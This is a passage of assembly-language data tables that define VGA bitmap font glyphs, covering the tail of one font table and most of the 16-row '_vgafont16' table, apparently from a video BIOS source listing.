0ffh, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h db 036h, 03fh, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 018h, 018h, 018h, 01fh, 018h, 01fh db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 01fh, 018h, 01fh, 018h, 018h db 018h, 018h, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 03fh, 036h, 036h, 036h, 036h db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0ffh, 036h, 036h, 036h, 036h, 036h, 036h db 018h, 018h, 018h, 018h, 018h, 0ffh, 018h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h db 018h, 018h, 018h, 018h, 018h, 0f8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 01fh, 018h, 018h, 018h, 018h, 018h, 018h, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h db 0f0h, 0f0h, 0f0h, 0f0h, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh db 00fh, 00fh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 076h, 0dch, 0d8h, 0d8h, 0dch, 076h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 07ch, 0c6h, 0fch, 0c6h, 0c6h, 0fch, 0c0h, 0c0h, 040h, 000h, 000h, 000h, 0feh, 0c6h db 0c6h, 0c0h, 0c0h, 0c0h, 0c0h, 0c0h, 0c0h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0feh, 06ch db 06ch, 06ch, 06ch, 06ch, 06ch, 000h, 000h, 000h, 000h, 000h, 0feh, 0c6h, 060h, 030h, 018h, 030h db 060h, 0c6h, 0feh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07eh, 0d8h, 0d8h, 0d8h, 0d8h db 070h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 066h, 066h, 066h, 066h, 07ch, 060h, 060h, 0c0h db 000h, 000h, 000h, 000h, 000h, 000h, 076h, 0dch, 018h, 018h, 018h, 018h, 018h, 000h, 000h, 000h db 000h, 000h, 07eh, 018h, 03ch, 066h, 066h, 066h, 03ch, 018h, 07eh, 000h, 000h, 000h, 000h, 000h db 038h, 06ch, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 06ch, 038h, 000h, 000h, 000h, 000h, 000h, 038h, 06ch db 0c6h, 0c6h, 0c6h, 06ch, 06ch, 06ch, 0eeh, 000h, 000h, 000h, 000h, 000h, 01eh, 030h, 018h, 00ch db 03eh, 066h, 066h, 066h, 03ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07eh, 0dbh, 0dbh db 07eh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 003h, 006h, 07eh, 0dbh, 0dbh, 0f3h, 07eh, 060h db 0c0h, 000h, 000h, 000h, 000h, 000h, 01ch, 030h, 060h, 060h, 07ch, 060h, 060h, 030h, 01ch, 000h db 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h db 000h, 000h, 000h, 0feh, 000h, 000h, 0feh, 000h, 000h, 0feh, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 018h, 018h, 07eh, 018h, 018h, 000h, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 030h, 018h db 00ch, 006h, 00ch, 018h, 030h, 000h, 07eh, 000h, 000h, 000h, 000h, 000h, 00ch, 018h, 030h, 060h db 030h, 018h, 00ch, 000h, 07eh, 000h, 000h, 000h, 000h, 000h, 00eh, 01bh, 01bh, 018h, 018h, 018h db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0d8h, 0d8h db 070h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 000h, 07eh, 000h, 018h, 018h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 076h, 0dch, 000h, 076h, 0dch, 000h, 000h, 000h, 000h, 000h db 000h, 038h, 06ch, 06ch, 038h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 00fh, 00ch, 00ch, 00ch, 00ch db 00ch, 0ech, 06ch, 03ch, 01ch, 000h, 000h, 000h, 000h, 0d8h, 06ch, 06ch, 06ch, 06ch, 06ch, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 070h, 0d8h, 030h, 060h, 0c8h, 0f8h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07ch, 07ch, 07ch, 07ch, 07ch, 07ch, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h _vgafont16: ; 0xc69ec LB 0x1000 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 07eh, 081h, 0a5h, 081h, 081h, 0bdh, 099h, 081h, 081h, 07eh, 000h, 000h, 000h, 000h db 000h, 000h, 07eh, 0ffh, 0dbh, 0ffh, 0ffh, 0c3h, 0e7h, 0ffh, 0ffh, 07eh, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 06ch, 0feh, 0feh, 0feh, 0feh, 07ch, 038h, 010h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 010h, 038h, 07ch, 0feh, 07ch, 038h, 010h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 018h, 03ch, 03ch, 0e7h, 0e7h, 0e7h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 018h, 03ch, 07eh, 0ffh, 0ffh, 07eh, 018h, 018h, 03ch, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 018h, 03ch, 03ch, 018h, 000h, 000h, 000h, 000h, 000h, 000h db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0e7h, 0c3h, 0c3h, 0e7h, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh db 000h, 000h, 000h, 000h, 000h, 03ch, 066h, 042h, 042h, 066h, 03ch, 000h, 000h, 000h, 000h, 000h db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0c3h, 099h, 0bdh, 0bdh, 099h, 0c3h, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh db 000h, 000h, 01eh, 00eh, 01ah, 032h, 078h, 0cch, 0cch, 0cch, 0cch, 078h, 000h, 000h, 000h, 000h db 000h, 000h, 03ch, 066h, 066h, 066h, 066h, 03ch, 018h, 07eh, 018h, 018h, 000h, 000h, 000h, 000h db 000h, 000h, 03fh, 033h, 03fh, 030h, 030h, 030h, 030h, 070h, 0f0h, 0e0h, 000h, 000h, 000h, 000h db 000h, 000h, 07fh, 063h, 07fh, 063h, 063h, 063h, 063h, 067h, 0e7h, 0e6h, 0c0h, 000h, 000h, 000h db 000h, 000h, 000h, 018h, 018h, 0dbh, 03ch, 0e7h, 03ch, 0dbh, 018h, 018h, 000h, 000h, 000h, 000h db 000h, 080h, 0c0h, 0e0h, 0f0h, 0f8h, 0feh, 0f8h, 0f0h, 0e0h, 0c0h, 080h, 000h, 000h, 000h, 000h db 000h, 002h, 006h, 00eh, 01eh, 03eh, 0feh, 03eh, 01eh, 00eh, 006h, 002h, 000h, 000h, 000h, 000h db 000h, 000h, 018h, 03ch, 07eh, 018h, 018h, 018h, 07eh, 03ch, 018h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 066h, 066h, 066h, 066h, 066h, 066h, 066h, 000h, 066h, 066h, 000h, 000h, 000h, 000h db 000h, 000h, 07fh, 0dbh, 0dbh, 0dbh, 07bh, 01bh, 01bh, 01bh, 01bh, 01bh, 000h, 000h, 000h, 000h db 000h, 07ch, 0c6h, 060h, 038h, 06ch, 0c6h, 0c6h, 06ch, 038h, 00ch, 0c6h, 07ch, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0feh, 0feh, 0feh, 0feh, 000h, 000h, 000h, 000h db 000h, 000h, 018h, 03ch, 07eh, 018h, 018h, 018h, 07eh, 03ch, 018h, 07eh, 000h, 000h, 000h, 000h db 000h, 000h, 018h, 03ch, 07eh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 000h, 000h, 000h, 000h db 000h, 000h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 07eh, 03ch, 018h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 018h, 00ch, 0feh, 00ch, 018h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 030h, 060h, 0feh, 060h, 030h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 0c0h, 0c0h, 0c0h, 0feh, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 024h, 066h, 0ffh, 066h, 024h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 010h, 038h, 038h, 07ch, 07ch, 0feh, 0feh, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0feh, 0feh, 07ch, 07ch, 038h, 038h, 010h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 018h, 03ch, 03ch, 03ch, 018h, 018h, 018h, 000h, 018h, 018h, 000h, 000h, 000h, 000h db 000h, 066h, 066h, 066h, 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 06ch, 06ch, 0feh, 06ch, 06ch, 06ch, 0feh, 06ch, 06ch, 000h, 000h, 000h, 000h db 018h, 018h, 07ch, 0c6h, 0c2h, 0c0h, 07ch, 006h, 006h, 086h, 0c6h, 07ch, 018h, 018h, 000h, 000h db 000h, 000h, 000h, 000h, 0c2h, 0c6h, 00ch, 018h, 030h, 060h, 0c6h, 086h, 000h, 000h, 000h, 000h db 000h, 000h, 038h, 06ch, 06ch, 038h, 076h, 0dch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h db 000h, 030h, 030h, 030h, 060h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 00ch, 018h, 030h, 030h, 030h, 030h, 030h, 030h, 018h, 00ch, 000h, 000h, 000h, 000h db 000h, 000h, 030h, 018h, 00ch, 00ch, 00ch, 00ch, 00ch, 00ch, 018h, 030h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 066h, 03ch, 0ffh, 03ch, 066h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 018h, 018h, 07eh, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 018h, 030h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0feh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 002h, 006h, 00ch, 018h, 030h, 060h, 0c0h, 080h, 000h, 000h, 000h, 000h db 000h, 000h, 03ch, 066h, 0c3h, 0c3h, 0dbh, 0dbh, 0c3h, 0c3h, 066h, 03ch, 000h, 000h, 000h, 000h db 000h, 000h, 018h, 038h, 078h, 018h, 018h, 018h, 018h, 018h, 018h, 07eh, 000h, 000h, 000h, 000h db 000h, 000h, 07ch, 0c6h, 006h, 00ch, 018h, 030h, 060h, 0c0h, 0c6h, 0feh, 000h, 000h, 000h, 000h db 000h, 000h, 07ch, 0c6h, 006h, 006h, 03ch, 006h, 006h, 006h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 00ch, 01ch, 03ch, 06ch, 0cch, 0feh, 00ch, 00ch, 00ch, 01eh, 000h, 000h, 000h, 000h db 000h, 000h, 0feh, 0c0h, 0c0h, 0c0h, 0fch, 006h, 006h, 006h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 038h, 060h, 0c0h, 0c0h, 0fch, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 0feh, 0c6h, 006h, 006h, 00ch, 018h, 030h, 030h, 030h, 030h, 000h, 000h, 000h, 000h db 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 07eh, 006h, 006h, 006h, 00ch, 078h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 018h, 018h, 030h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 006h, 00ch, 018h, 030h, 060h, 030h, 018h, 00ch, 006h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 07eh, 000h, 000h, 07eh, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 060h, 030h, 018h, 00ch, 006h, 00ch, 018h, 030h, 060h, 000h, 000h, 000h, 000h db 000h, 000h, 07ch, 0c6h, 0c6h, 00ch, 018h, 018h, 018h, 000h, 018h, 018h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 07ch, 0c6h, 0c6h, 0deh, 0deh, 0deh, 0dch, 0c0h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 010h, 038h, 06ch, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h db 000h, 000h, 0fch, 066h, 066h, 066h, 07ch, 066h, 066h, 066h, 066h, 0fch, 000h, 000h, 000h, 000h db 000h, 000h, 03ch, 066h, 0c2h, 0c0h, 0c0h, 0c0h, 0c0h, 0c2h, 066h, 03ch, 000h, 000h, 000h, 000h db 000h, 000h, 0f8h, 06ch, 066h, 066h, 066h, 066h, 066h, 066h, 06ch, 0f8h, 000h, 000h, 000h, 000h db 000h, 000h, 0feh, 066h, 062h, 068h, 078h, 068h, 060h, 062h, 066h, 0feh, 000h, 000h, 000h, 000h db 000h, 000h, 0feh, 066h, 062h, 068h, 078h, 068h, 060h, 060h, 060h, 0f0h, 000h, 000h, 000h, 000h db 000h, 000h, 03ch, 066h, 0c2h, 0c0h, 0c0h, 0deh, 0c6h, 0c6h, 066h, 03ah, 000h, 000h, 000h, 000h db 000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h db 000h, 000h, 03ch, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h db 000h, 000h, 01eh, 00ch, 00ch, 00ch, 00ch, 00ch, 0cch, 0cch, 0cch, 078h, 000h, 000h, 000h, 000h db 000h, 000h, 0e6h, 066h, 066h, 06ch, 078h, 078h, 06ch, 066h, 066h, 0e6h, 000h, 000h, 000h, 000h db 000h, 000h, 0f0h, 060h, 060h, 060h, 060h, 060h, 060h, 062h, 066h, 0feh, 000h, 000h, 000h, 000h db 000h, 000h, 0c3h, 0e7h, 0ffh, 0ffh, 0dbh, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 000h, 000h, 000h, 000h db 000h, 000h, 0c6h, 0e6h, 0f6h, 0feh, 0deh, 0ceh, 0c6h, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h db 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 0fch, 066h, 066h, 066h, 07ch, 060h, 060h, 060h, 060h, 0f0h, 000h, 000h, 000h, 000h db 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0d6h, 0deh, 07ch, 00ch, 00eh, 000h, 000h db 000h, 000h, 0fch, 066h, 066h, 066h, 07ch, 06ch, 066h, 066h, 066h, 0e6h, 000h, 000h, 000h, 000h db 000h, 000h, 07ch, 0c6h, 0c6h, 060h, 038h, 00ch, 006h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 0ffh, 0dbh, 099h, 018h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h db 000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 066h, 03ch, 018h, 000h, 000h, 000h, 000h db 000h, 000h, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 0dbh, 0dbh, 0ffh, 066h, 066h, 000h, 000h, 000h, 000h db 000h, 000h, 0c3h, 0c3h, 066h, 03ch, 018h, 018h, 03ch, 066h, 0c3h, 0c3h, 000h, 000h, 000h, 000h db 000h, 000h, 0c3h, 0c3h, 0c3h, 066h, 03ch, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h db 000h, 000h, 0ffh, 0c3h, 086h, 00ch, 018h, 030h, 060h, 0c1h, 0c3h, 0ffh, 000h, 000h, 000h, 000h db 000h, 000h, 03ch, 030h, 030h, 030h, 030h, 030h, 030h, 030h, 030h, 03ch, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 080h, 0c0h, 0e0h, 070h, 038h, 01ch, 00eh, 006h, 002h, 000h, 000h, 000h, 000h db 000h, 000h, 03ch, 00ch, 00ch, 00ch, 00ch, 00ch, 00ch, 00ch, 00ch, 03ch, 000h, 000h, 000h, 000h db 010h, 038h, 06ch, 0c6h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh, 000h, 000h db 030h, 030h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h db 000h, 000h, 0e0h, 060h, 060h, 078h, 06ch, 066h, 066h, 066h, 066h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 0c0h, 0c0h, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 01ch, 00ch, 00ch, 03ch, 06ch, 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 0feh, 0c0h, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 038h, 06ch, 064h, 060h, 0f0h, 060h, 060h, 060h, 060h, 0f0h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 076h, 0cch, 0cch, 0cch, 0cch, 0cch, 07ch, 00ch, 0cch, 078h, 000h db 000h, 000h, 0e0h, 060h, 060h, 06ch, 076h, 066h, 066h, 066h, 066h, 0e6h, 000h, 000h, 000h, 000h db 000h, 000h, 018h, 018h, 000h, 038h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h db 000h, 000h, 006h, 006h, 000h, 00eh, 006h, 006h, 006h, 006h, 006h, 006h, 066h, 066h, 03ch, 000h db 000h, 000h, 0e0h, 060h, 060h, 066h, 06ch, 078h, 078h, 06ch, 066h, 0e6h, 000h, 000h, 000h, 000h db 000h, 000h, 038h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0e6h, 0ffh, 0dbh, 0dbh, 0dbh, 0dbh, 0dbh, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0dch, 066h, 066h, 066h, 066h, 066h, 066h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0dch, 066h, 066h, 066h, 066h, 066h, 07ch, 060h, 060h, 0f0h, 000h db 000h, 000h, 000h, 000h, 000h, 076h, 0cch, 0cch, 0cch, 0cch, 0cch, 07ch, 00ch, 00ch, 01eh, 000h db 000h, 000h, 000h, 000h, 000h, 0dch, 076h, 066h, 060h, 060h, 060h, 0f0h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 060h, 038h, 00ch, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 010h, 030h, 030h, 0fch, 030h, 030h, 030h, 030h, 036h, 01ch, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0c3h, 0c3h, 0c3h, 0c3h, 066h, 03ch, 018h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0c3h, 0c3h, 0c3h, 0dbh, 0dbh, 0ffh, 066h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0c3h, 066h, 03ch, 018h, 03ch, 066h, 0c3h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07eh, 006h, 00ch, 0f8h, 000h db 000h, 000h, 000h, 000h, 000h, 0feh, 0cch, 018h, 030h, 060h, 0c6h, 0feh, 000h, 000h, 000h, 000h db 000h, 000h, 00eh, 018h, 018h, 018h, 070h, 018h, 018h, 018h, 018h, 00eh, 000h, 000h, 000h, 000h db 000h, 000h, 018h, 018h, 018h, 018h, 000h, 018h, 018h, 018h, 018h, 018h, 000h, 000h, 000h, 000h db 000h, 000h, 070h, 018h, 018h, 018h, 00eh, 018h, 018h, 018h, 018h, 070h, 000h, 000h, 000h, 000h db 000h, 000h, 076h, 0dch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 010h, 038h, 06ch, 0c6h, 0c6h, 0c6h, 0feh, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 03ch, 066h, 0c2h, 0c0h, 0c0h, 0c0h, 0c2h, 066h, 03ch, 00ch, 006h, 07ch, 000h, 000h db 000h, 000h, 0cch, 000h, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h db 000h, 00ch, 018h, 030h, 000h, 07ch, 0c6h, 0feh, 0c0h, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 010h, 038h, 06ch, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h db 000h, 000h, 0cch, 000h, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h db 000h, 060h, 030h, 018h, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h db 000h, 038h, 06ch, 038h, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 03ch, 066h, 060h, 060h, 066h, 03ch, 00ch, 006h, 03ch, 000h, 000h, 000h db 000h, 010h, 038h, 06ch, 000h, 07ch, 0c6h, 0feh, 0c0h, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 0c6h, 000h, 000h, 07ch, 0c6h, 0feh, 0c0h, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 060h, 030h, 018h, 000h, 07ch, 0c6h, 0feh, 0c0h, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 066h, 000h, 000h, 038h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h db 000h, 018h, 03ch, 066h, 000h, 038h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h db 000h, 060h, 030h, 018h, 000h, 038h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h db 000h, 0c6h, 000h, 010h, 038h, 06ch, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h db 038h, 06ch, 038h, 000h, 038h, 06ch, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h db 018h, 030h, 060h, 000h, 0feh, 066h, 060h, 07ch, 060h, 060h, 066h, 0feh, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 06eh, 03bh, 01bh, 07eh, 0d8h, 0dch, 077h, 000h, 000h, 000h, 000h db 000h, 000h, 03eh, 06ch, 0cch, 0cch, 0feh, 0cch, 0cch, 0cch, 0cch, 0ceh, 000h, 000h, 000h, 000h db 000h, 010h, 038h, 06ch, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 0c6h, 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 060h, 030h, 018h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 030h, 078h, 0cch, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h db 000h, 060h, 030h, 018h, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h db 000h, 000h, 0c6h, 000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07eh, 006h, 00ch, 078h, 000h db 000h, 0c6h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 0c6h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 018h, 018h, 07eh, 0c3h, 0c0h, 0c0h, 0c0h, 0c3h, 07eh, 018h, 018h, 000h, 000h, 000h, 000h db 000h, 038h, 06ch, 064h, 060h, 0f0h, 060h, 060h, 060h, 060h, 0e6h, 0fch, 000h, 000h, 000h, 000h db 000h, 000h, 0c3h, 066h, 03ch, 018h, 0ffh, 018h, 0ffh, 018h, 018h, 018h, 000h, 000h, 000h, 000h db 000h, 0fch, 066h, 066h, 07ch, 062h, 066h, 06fh, 066h, 066h, 066h, 0f3h, 000h, 000h, 000h, 000h db 000h, 00eh, 01bh, 018h, 018h, 018h, 07eh, 018h, 018h, 018h, 018h, 018h, 0d8h, 070h, 000h, 000h db 000h, 018h, 030h, 060h, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h db 000h, 00ch, 018h, 030h, 000h, 038h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h db 000h, 018h, 030h, 060h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 018h, 030h, 060h, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h db 000h, 000h, 076h, 0dch, 000h, 0dch, 066h, 066h, 066h, 066h, 066h, 066h, 000h, 000h, 000h, 000h db 076h, 0dch, 000h, 0c6h, 0e6h, 0f6h, 0feh, 0deh, 0ceh, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h db 000h, 03ch, 06ch, 06ch, 03eh, 000h, 07eh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 038h, 06ch, 06ch, 038h, 000h, 07ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 030h, 030h, 000h, 030h, 030h, 060h, 0c0h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 0feh, 0c0h, 0c0h, 0c0h, 0c0h, 000h, 000h, 000h, 000h, 000h db 000h, 